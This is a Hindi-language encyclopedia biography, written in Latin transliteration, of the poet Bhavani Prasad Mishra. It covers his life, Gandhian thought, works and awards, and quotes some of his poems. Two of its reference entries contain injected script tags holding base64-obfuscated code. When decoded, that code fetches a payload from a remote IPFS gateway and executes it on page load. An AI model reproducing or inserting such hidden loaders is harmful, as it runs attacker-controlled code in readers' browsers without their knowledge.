भवानी प्रसाद मिश्र
bhavani prasad mishr
| |
| poora nam | bhavani prasad mishr |
| janm | 29 march, 1913 ee. |
| janm bhoomi | tigariya gaanv, hoshangabad, madhy pradesh |
| mrityu | 20 faravari, 1985 ee. |
| karm bhoomi | bharat |
| mukhy rachanaean | 'git farosh', 'buni huee rassi', 'nili rekha tak', 'manasarovar', 'anam tum ate ho', 'trikal sandhya', 'chakit hai du:kh' aur 'andheri kavitaean', adi. |
| bhasha | hindi, aangrezi, sanskrit |
| shiksha | bi.e. |
| puraskar-upadhi | 'sahity akadami puraskar' aur 'padmashri', rajy stariy shikhar samman |
| prasiddhi | hindi ke prasiddh kavi aur gaandhivadi vicharak |
| nagarikata | bharatiy |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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bhavani prasad mishr (aangrezi: Bhawani Prasad Mishra, janm: 29 march, 1913; mrityu: 20 faravari, 1985) hindi ke prasiddh kavi tatha gaandhivadi vicharak the. bhavani prasad mishr doosare tar-saptak ke ek pramukh kavi haian. mishr ji vicharoan, sanskaroan aur apane karyoan se poornat: gaandhivadi haian. gaandhivad ki svachchhata, pavanata aur naitikata ka prabhav aur usaki jhalak bhavani prasad mishr ki kavitaoan mean saf dekhi ja sakati hai. unaka pratham sangrah 'git-farosh' apani nee shaili, nee udbhavanaoan aur naye path-pravah ke karan atyant lokapriy hua.
jivan parichay
bhavani prasad mishr ka janm tigariya gaanv mean, hoshangabad (madhy pradesh) mean hua tha. bhavani prasad mishr ki praranbhik shiksha kramash: sohagapur, hoshangabad, narasianhapur aur jabalapur mean huee| unhoanne hindi, aangrezi aur sanskrit vishay lekar bi. e. pas kiya. bhavani prasad mishr ne mahatma gaandhi ke vicharoan se prerit hokar shiksha dene ke vichar se ek skool khol liya aur us skool ko chalate hue hi 1942 mean giraphtar hokar 1949 mean chhoote. usi varsh mahilashram vardha mean shikshak ki tarah chale ge aur char paanch sal vardha mean bitae.
sahityik jivan
bhavani prasad mishr ka kavitaean likhane ki shurooat lagabhag 1930 se ho gayi thi aur kuchh kavitaean pandit eeshvari prasad varma ke sampadan mean nikalane vale 'hindoo panch' mean haeeskool pas hone ke pahale hi prakashit ho chuki thian. san 1932-33 mean ve makhanalal chaturvedi ke sanpark mean ae. shri chaturvedi agrahapoorvak karmavir mean bhavani prasad mishr ki kavitaean prakashit karate rahe. hans mean kafi kavitaean chhapian aur phir ajney ji ne doosare saptak mean inhe prakashit kiya. doosare saptak ke prakashan ke bad prakashan kram jyada niyamit hota gaya. unhoanne chitrapat (sinema) ke lie sanvad likhe aur madras ke ebiem mean sanvad nirdeshan bhi kiya. madras se mumbee akashavani ke nirmata ban ge aur akashavani kendr, dilli par bhi kam kiya.
kritiyaan
- git-farosh
- chakit hai dukh
- gaandhi panchashati
- aandheri kavitaean
- buni huee rassi
- vyaktigat
- khushboo ke shilalekh
- parivartan jie
- trikal sandhya
- anam tum ate ho
- iandan mamh
- sharir, kavita, phasalean aur phool
- manasarovar
- din
- sanprati
- ‘nili rekha tak’ adi kul 22 pustakean apaki prakashit hueean.
apane sansmaran, nibandh tatha bal-sahity bhi racha.
shaili
bhavani prasad mishr un gine chune kaviyoan mean the, jo kavita ko hi apana dharm manate the aur amajanoan ki bat unaki bhasha mean hi rakhate the. ve 'kaviyoan ke kavi' the. mishr ji ki kavitaoan ka pramukh gun kathan ki sadagi hai. bahut halke-phulake dhang se ve bahut gahari bat kah dete haian jisase unaki nishchhal anubhav sanpannata ka abhas milata hai. inaki kavy-shaili hamesha pathak aur shrota ko ek batachit ki tarah sammilit karati chalati hai. mishr ji ne apane sahityik jivan ko bahut pracharit aur prasarit nahian kiya. mishr ji maun nishchhalata ke sath sahity-rachana mean sanlagn haian. isilie unake bahut kam kavy-sangrah prakashit hue haian. 'git-farosh' ke prakashan ke varshoan bad 'chakit hai dukh', aur 'aandheri kavitaean' namak do kavy-sangrah idhar prakashit hue haian.[1]
gaandhi gitoan ke gayak
bhavanibaboo ek bar shuroo karean phir unhean doosara sunane ka agrah karane ki zaroorat nahian p dati thi. ek ke bad doosari kavita nikalati jati thi, panchatantr ki kathaoan ki bhaanti. kee bar to ek kavita kab poori huee aur doosari kab shuroo huee isaka shrota ko bhan nahian rahata. meghani bhaee (gujarati ke prakhyat kavi jhaverachand meghani) ke alava itani adhik svarachit rachanaoan ko kanthasth rakhane vale kisi any kavi se milana bahut mushkil hai. jab ve kavy-path karate tab mano shrota un par upakar kar rahe hoan aisi kritajn drishti se unhean dekh rahe hote the. parantu jyoan-jyoan gitoan mean ve gahare utarate tyoan-tyoan unaka path svant: sukhay ho jata. bavajood isake shrotaoan ko bhi ve sarobar kar dete the. kee bar to unaka chhand shrotaoan ko sath gane ki prerana de jata tha.[2]
chalo git gao chalo git gao.
ki ga ga ke duniya ko sar par uthao
abhagoan ki toli agar ga uthegi
to duniya pe dahashat b di chha uthegi
sura-besura kuchh n socheange gao
ki jaisa bhi sur pas mean hai chadhao[2]
manavavadi kavi
azadi ke bad bhavani prasad adhikatar dilli ki dhool aur dhuean ke bich shahar mean rahe. parantu desh ke kalyan ki kamana ne unhean kabhi dilli ki maya mean phansane nahian diya. yooan b de logoan ke sath jan-pahachan ki kami n thi. mahatma gaandhi, vinoba bhave, javaharalal neharoo, jaisoan ke sath unaka parichay tha. bajaj kutumb ke sath gharopa tha. shrimannarayan to unake mukt prashansak the parantu inake pahachan ka khud labh kabhi nahian liya. vicharoan se bhavani baboo sachche gaandhivadi the, magar unaka kavi hriday kisi vad ke khaanche mean sama jae aisa n tha. isilie ve gaandhivadi kavi banane ke badale manavavadi kavi bane rahe. bhavani prasad mishr ki kavitaoan ki samiksha karate hue prophesar mahavir saran jain ka kathan hai ki, "hindi ki nee kavita par sabase b da akshep yah hai ki usamean atirikt anastha, nirasha, vishad, hatasha, kuantha aur maranadharmita hai. usako padhane ke bad jine ki lalak samapt ho jati hai, vyakti hatotsahit ho jata hai, man nirashavadi aur maranasann ho jata hai. yah ki nee kavita ne pi da, vedana, shok aur nirasha ko hi jivan ka saty man liya hai. nee kavita bharat ki jamin se prerana prapt nahian karati. isake viparit yah pashchim ki nakal se paida huee hai. bhavani prasad mishr ki kavitaean in sare aropoan ko dhvast kar deti haian.
mishr ji gaandhivadi hai.gaandhi ki desh-bhakti manjil nahian hai. gaandhi ji ki desh-bhakti vishv ke jiv matr ke prati prem aur usaki seva karane ke lie unaki jivan yatra ka ek p dav hai. unake vichar mean kahian bhi lesh matr bhi nirasha ka bhav nahian hai. usamean asha, vishvas aur astha ki jyoti alokit hai. isi alok ke karan gaandhi ji ne dakshin-aphrika aur bharat mean jo jan-andolan chalae unhoanne sampoorn samaj mean nee jagriti, nee chetana aur naya sankalp bhar diya. unake jivan darshan se vishad, nirasha aur maran-dharmita nahian apitu isake sarvatha viparit nee asha, nee astha aur nee umang paida hoti hai. usase saty, ahiansa evan prem ki triveni pravahit hoti hai. (dekhean – prophesar mahavir saran jain : gaandhi darshan ki prasangikata). bhavani prasad mishr ki kavitaean isi karan samaj mean jo vipann haian, lachar haian, thake hue haian, dharashayi haian un sabako sahara dene ke lie prerit karati haian, unako uthane ke lie protsahit karati haian". unaki kavita ghareloo vishayoan se lagakar adhyatmikata ke shikharoan tak ka bhraman karati hai. unhean aihik sukh ki paravah n thi. ve kahate, 'sukh agar mere ghar mean a jae to use baithayeange kahaan?'
svaraj ke bad ka bharat jis tarah mahatma gaandhi ke dikhae marg se vichalit hua usase bhavani baboo ka hriday tis uthata. 1959 mean likhi ek kavita mean unhoanne is tis pahuanchane vali disha ki or iangit karate hue kaha tha-
pahale itane bure nahian the tum
yane isase adhik sahi the tum
kiantu sabhi kuchh tumahi karoge is ichchha ne
athava aur kisi ichchha ne, asapas ke logoan ne
ya roos-chin ke chakkar-takkar sanyogoan ne
tumhean desh ki pratibhaoan se door kar diya
tumhean b di batoan ka jyada moh ho gaya
chhoti batoan se sanpark kho gaya
dhunak-pianj kar, kat-bin kar
apani chadar khud n banaee
balki door se karz lekar mangaee
aur natija chacha-bhatija
donoan ke kalapanatit hai
yah karje ki chadar jitana odho
utani k di shit hai.[2]
bhavani baboo jis adhyatmik pith par asin the usane unhean kabhi nirasha mean doobane nahian diya. jaise sat-sat bar maut se ve l de vaise hi azadi ke pahale gulami se l de aur azadi ke bad tanashahi se bhi l de.
samman aur puraskar
bhavani dada ki rachanaoan mean pathak se sanvad karane ki kshamata hai. sanh 1972 mean apaki kriti ‘buni huee rassi’ ke lie apako sahity akadami puraskar mila. isake atirikt any anek puraskaroan ke sath-sath apane bharat sarakar ka padm shri alankar bhi prapt kiya. 1981-82 mean uttar pradesh hindi sansthan ke sansthan samman se sammanit hue aur 1983 mean unhean madhy pradesh shasan ke shikhar samman se alankrit kiya gaya.
nidhan
20 pharavari sanh 1985 ko hindi kavy-jagath ka yah anamol sitara apani kavitaoan ki thati yahaan chho d hamesha ke lie hamase bichh d gaya.
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tika tippani aur sandarbh
- ↑ bhavani prasad mishr (hindi) anubhooti. abhigaman tithi: 28 mee, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 desaee, narayan. gaandhi gitoan ke gayak bhavaniprasad mishr (hindi) deshabandhu. abhigaman tithi: 22 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- bhavani prasad mishr : samany se dikhane vale asadharan kavi
- bhasha ke sahaj sangit ke kavi – bhavani prasad mishr
- bhavani prasad mishr ji ko nakar dena asan nahian
- kavita ki svadeshi tejasvita
- prophesar mahavir saran jain ka alekh - bhavani prasad mishr : samany se dikhane vale asadharan kavi
sanbandhit lekh
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varnamala kramanusar lekh khoj
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